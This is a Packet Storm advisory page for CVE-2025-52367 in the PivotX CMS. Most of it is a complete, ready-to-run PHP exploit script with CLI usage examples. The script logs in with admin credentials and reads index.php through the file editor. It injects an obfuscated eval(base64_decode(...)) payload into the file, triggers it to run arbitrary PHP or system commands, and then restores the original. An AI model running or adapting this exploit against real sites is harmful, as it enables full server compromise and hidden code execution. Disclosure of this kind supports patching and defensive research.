PACKETSTORM 5.4 MEDIUM

📄 PivotX 3.0.0 RC 3 Command Injection_PACKETSTORM:215634

5.4 / 10
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Description

PivotX content management system versions up to and including 3.0.0-rc3 contain an authenticated remote code execution vulnerability that allows administrative users to modify PHP files directly through the web interface, leading to complete system...
Visit Original Source

Basic Information

ID PACKETSTORM:215634
Published Feb 16, 2026 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : PivotX 3.0.0 RC 3 authenticated command injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://github.com/pivotx/PivotX |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/208387/ & CVE-2025-52367

[+] Summary :
PivotX content management system versions up to and including 3.0.0-rc3 contain an authenticated remote code execution vulnerability
that allows administrative users to modify PHP files directly through the web interface, leading to complete system compromise.

[+] POC :

php poc.php

<?php

class PivotX_RCE_Exploit {

private $target;
private $username;
private $password;
private $base_uri;
private $cookies;
private $csrf_token;
private $base_dir;
private $original_content;

public function __construct($target, $username, $password, $base_uri = '/PivotX/') {
$this->target = rtrim($target, '/');
$this->username = $username;
$this->password = $password;
$this->base_uri = rtrim($base_uri, '/');
$this->cookies = [];
$this->csrf_token = null;
$this->base_dir = null;
$this->original_content = null;
}

private function send_request($method, $endpoint, $data = null, $is_post = false, $is_multipart = false) {
$url = $this->target . $this->base_uri . $endpoint;

$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEFILE => '',
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);

// Preserve cookies between requests
if (!empty($this->cookies)) {
curl_setopt($ch, CURLOPT_COOKIE, $this->build_cookie_header());
}

if ($is_post) {
curl_setopt($ch, CURLOPT_POST, true);
if ($data) {
if ($is_multipart) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: multipart/form-data; boundary=' . $this->generate_boundary()]);
} else {
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
}
}
} else {
if ($data && !$is_post) {
$url .= '?' . http_build_query($data);
curl_setopt($ch, CURLOPT_URL, $url);
}
}

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Save cookies from response
if (preg_match_all('/Set-Cookie:\s*([^;]+)/i', $response, $matches)) {
foreach ($matches[1] as $cookie) {
$parts = explode('=', $cookie, 2);
if (count($parts) === 2) {
$this->cookies[$parts[0]] = $parts[1];
}
}
}

// Extract pivotxsession cookie for CSRF token
if (preg_match('/pivotxsession=([a-zA-Z0-9]+)/', $this->build_cookie_header(), $matches)) {
$this->csrf_token = $matches[1];
}

curl_close($ch);

return [
'code' => $http_code,
'body' => $response
];
}

private function build_cookie_header() {
$cookies = [];
foreach ($this->cookies as $name => $value) {
$cookies[] = $name . '=' . $value;
}
return implode('; ', $cookies);
}

private function generate_boundary() {
return '----WebKitFormBoundary' . bin2hex(random_bytes(16));
}

private function build_multipart_data($fields) {
$boundary = $this->generate_boundary();
$data = '';

foreach ($fields as $name => $value) {
$data .= "--{$boundary}\r\n";
$data .= "Content-Disposition: form-data; name=\"{$name}\"\r\n\r\n";
$data .= "{$value}\r\n";
}

$data .= "--{$boundary}--\r\n";

return [
'data' => $data,
'boundary' => $boundary
];
}

public function check() {
echo "[*] Checking target...\n";

$response = $this->send_request('GET', 'pivotx/index.php');

if ($response['code'] !== 200) {
return "Unknown: Unexpected response code: " . $response['code'];
}

if (strpos($response['body'], 'PivotX Powered') === false) {
return "Safe: Target is not PivotX";
}

// Extract version
if (preg_match('/PivotX - (\d\.\d\d?\.\d\d?-[a-z0-9]+)/', $response['body'], $matches)) {
$version = $matches[1];
echo "[*] Detected PivotX version: $version\n";

// Check if version is vulnerable (<= 3.0.0-rc3)
if (version_compare($version, '3.0.0-rc3', '<=')) {
return "Appears: Vulnerable PivotX $version detected";
} else {
return "Safe: PivotX $version is not vulnerable";
}
}

return "Detected: Could not determine version";
}

private function login() {
echo "[*] Attempting to login...\n";

$multipart_data = $this->build_multipart_data([
'returnto' => '',
'template' => '',
'username' => $this->username,
'password' => $this->password
]);

$response = $this->send_request('POST', 'pivotx/index.php',
array_merge(['page' => 'login'], $multipart_data['data']),
true, true);

// Check for login failure
if (strpos($response['body'], 'Incorrect username/password') !== false) {
throw new Exception("Login failed - incorrect username/password");
}

// Check for successful login (should have pivotxsession cookie)
if (($response['code'] == 200 || $response['code'] == 302) &&
preg_match('/pivotxsession=([a-zA-Z0-9]+)/', $this->build_cookie_header())) {
echo "[+] Login successful\n";
return true;
}

throw new Exception("Login failed - unable to get pivotxsession cookie");
}

private function modify_file($payload) {
echo "[*] Modifying index.php file...\n";

// First, get the working directory
$response = $this->send_request('GET', 'pivotx/index.php', ['page' => 'homeexplore']);

if ($response['code'] !== 200 || !preg_match('/basedir=([a-zA-Z0-9]+)/', $response['body'], $matches)) {
throw new Exception("Failed to fetch working directory");
}

$this->base_dir = $matches[1];
echo "[*] Base directory: $this->base_dir\n";

// Fetch current index.php content
$response = $this->send_request('GET', 'pivotx/ajaxhelper.php', [
'function' => 'view',
'basedir' => $this->base_dir,
'file' => 'index.php'
]);

if ($response['code'] !== 200) {
throw new Exception("Failed to fetch index.php content");
}

// Extract original content from textarea
if (preg_match('/<textarea[^>]*>(.*?)<\/textarea>/is', $response['body'], $matches)) {
$this->original_content = html_entity_decode($matches[1]);
}

if (!$this->original_content) {
throw new Exception("Could not find content of index.php");
}

echo "[*] Original content length: " . strlen($this->original_content) . " bytes\n";

// Create malicious payload
$encoded_payload = base64_encode($payload);
$malicious_content = "<?php eval(base64_decode('$encoded_payload')); ?> " . $this->original_content;

// Save malicious content
$post_data = [
'csrfcheck' => $this->csrf_token,
'function' => 'save',
'basedir' => $this->base_dir,
'file' => 'index.php',
'contents' => $malicious_content
];

$response = $this->send_request('POST', 'pivotx/ajaxhelper.php', $post_data, true);

if ($response['code'] !== 200 || strpos($response['body'], 'Wrote contents to file index.php') === false) {
throw new Exception("Failed to insert malicious PHP payload");
}

echo "[+] Successfully modified index.php with payload\n";
}

private function trigger_payload() {
echo "[*] Triggering payload...\n";

$response = $this->send_request('POST', 'index.php', null, true);

echo "[+] Payload triggered\n";
return $response;
}

private function restore() {
if (!$this->original_content || !$this->base_dir || !$this->csrf_token) {
echo "[-] Cannot restore - missing required data\n";
return false;
}

echo "[*] Restoring original content...\n";

$post_data = [
'csrfcheck' => $this->csrf_token,
'function' => 'save',
'basedir' => $this->base_dir,
'file' => 'index.php',
'contents' => $this->original_content
];

$response = $this->send_request('POST', 'pivotx/ajaxhelper.php', $post_data, true);

if ($response['code'] === 200 && strpos($response['body'], 'Wrote contents to file index.php') !== false) {
echo "[+] Original content restored successfully\n";
return true;
} else {
echo "[-] Failed to restore original content\n";
return false;
}
}

public function exploit($payload) {
try {
echo "[*] Starting PivotX RCE exploitation...\n";

// Check target first
$check_result = $this->check();
echo "[*] Check result: $check_result\n";

if (strpos($check_result, 'Safe') !== false) {
echo "[-] Target is not vulnerable, stopping exploitation\n";
return false;
}

// Login to PivotX
$this->login();

// Modify index.php with payload
$this->modify_file($payload);

// Trigger the payload
$this->trigger_payload();

echo "[+] Exploitation completed\n";
return true;

} catch (Exception $e) {
echo "[-] Exploitation failed: " . $e->getMessage() . "\n";
return false;
} finally {
// Always attempt to restore original content
$this->restore();
}
}

public function __destruct() {
// Auto-restore on object destruction
$this->restore();
}
}

// نسخة مبسطة للاستخدام السريع
class SimplePivotXExploit {

public static function execute($target, $username, $password, $php_code, $base_uri = '/PivotX/') {
$target = rtrim($target, '/');
$base_uri = rtrim($base_uri, '/');

$ch = curl_init();
$cookies = [];

// Step 1: Login
$login_data = http_build_query([
'returnto' => '',
'template' => '',
'username' => $username,
'password' => $password
]);

curl_setopt_array($ch, [
CURLOPT_URL => $target . $base_uri . '/pivotx/index.php?page=login',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $login_data,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => '',
CURLOPT_FOLLOWLOCATION => true
]);

$response = curl_exec($ch);

// Extract cookies
if (preg_match_all('/Set-Cookie:\s*([^;]+)/i', $response, $matches)) {
foreach ($matches[1] as $cookie) {
$parts = explode('=', $cookie, 2);
if (count($parts) === 2) {
$cookies[$parts[0]] = $parts[1];
}
}
}

$cookie_header = '';
foreach ($cookies as $name => $value) {
$cookie_header .= $name . '=' . $value . '; ';
}

// Step 2: Get base directory
curl_setopt_array($ch, [
CURLOPT_URL => $target . $base_uri . '/pivotx/index.php?page=homeexplore',
CURLOPT_POST => false,
CURLOPT_HTTPHEADER => ["Cookie: $cookie_header"]
]);

$response = curl_exec($ch);
preg_match('/basedir=([a-zA-Z0-9]+)/', $response, $matches);
$base_dir = $matches[1] ?? '';

if (!$base_dir) {
return "[-] Failed to get base directory";
}

// Step 3: Get original index.php content
curl_setopt_array($ch, [
CURLOPT_URL => $target . $base_uri . '/pivotx/ajaxhelper.php?function=view&basedir=' . $base_dir . '&file=index.php',
CURLOPT_HTTPHEADER => ["Cookie: $cookie_header"]
]);

$response = curl_exec($ch);
preg_match('/<textarea[^>]*>(.*?)<\/textarea>/is', $response, $matches);
$original_content = html_entity_decode($matches[1] ?? '');

// Step 4: Inject payload
$encoded_payload = base64_encode($php_code);
$malicious_content = "<?php eval(base64_decode('$encoded_payload')); ?> " . $original_content;

$post_data = http_build_query([
'csrfcheck' => $cookies['pivotxsession'] ?? '',
'function' => 'save',
'basedir' => $base_dir,
'file' => 'index.php',
'contents' => $malicious_content
]);

curl_setopt_array($ch, [
CURLOPT_URL => $target . $base_uri . '/pivotx/ajaxhelper.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_HTTPHEADER => ["Cookie: $cookie_header"]
]);

$response = curl_exec($ch);

// Step 5: Trigger payload
curl_setopt_array($ch, [
CURLOPT_URL => $target . $base_uri . '/index.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => '',
CURLOPT_HTTPHEADER => ["Cookie: $cookie_header"]
]);

$trigger_response = curl_exec($ch);

// Step 6: Restore original content
$restore_data = http_build_query([
'csrfcheck' => $cookies['pivotxsession'] ?? '',
'function' => 'save',
'basedir' => $base_dir,
'file' => 'index.php',
'contents' => $original_content
]);

curl_setopt_array($ch, [
CURLOPT_URL => $target . $base_uri . '/pivotx/ajaxhelper.php',
CURLOPT_POSTFIELDS => $restore_data
]);

curl_exec($ch);
curl_close($ch);

return "[+] Exploitation completed";
}
}

// الاستخدام
if (php_sapi_name() === 'cli') {

if ($argc < 5) {
echo "Usage: php " . $argv[0] . " <target_url> <username> <password> <php_code>\n";
echo "Example: php " . $argv[0] . " http://localhost admin password \"system('id');\"\n";
echo "Example: php " . $argv[0] . " http://localhost admin password \"echo 'Hello World';\"\n";
exit(1);
}

$target = $argv[1];
$username = $argv[2];
$password = $argv[3];
$php_code = $argv[4];

// استخدام النسخة الكاملة
$exploit = new PivotX_RCE_Exploit($target, $username, $password);
$exploit->exploit($php_code);

// أو استخدام النسخة المبسطة
// $result = SimplePivotXExploit::execute($target, $username, $password, $php_code);
// echo $result . "\n";
}

?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.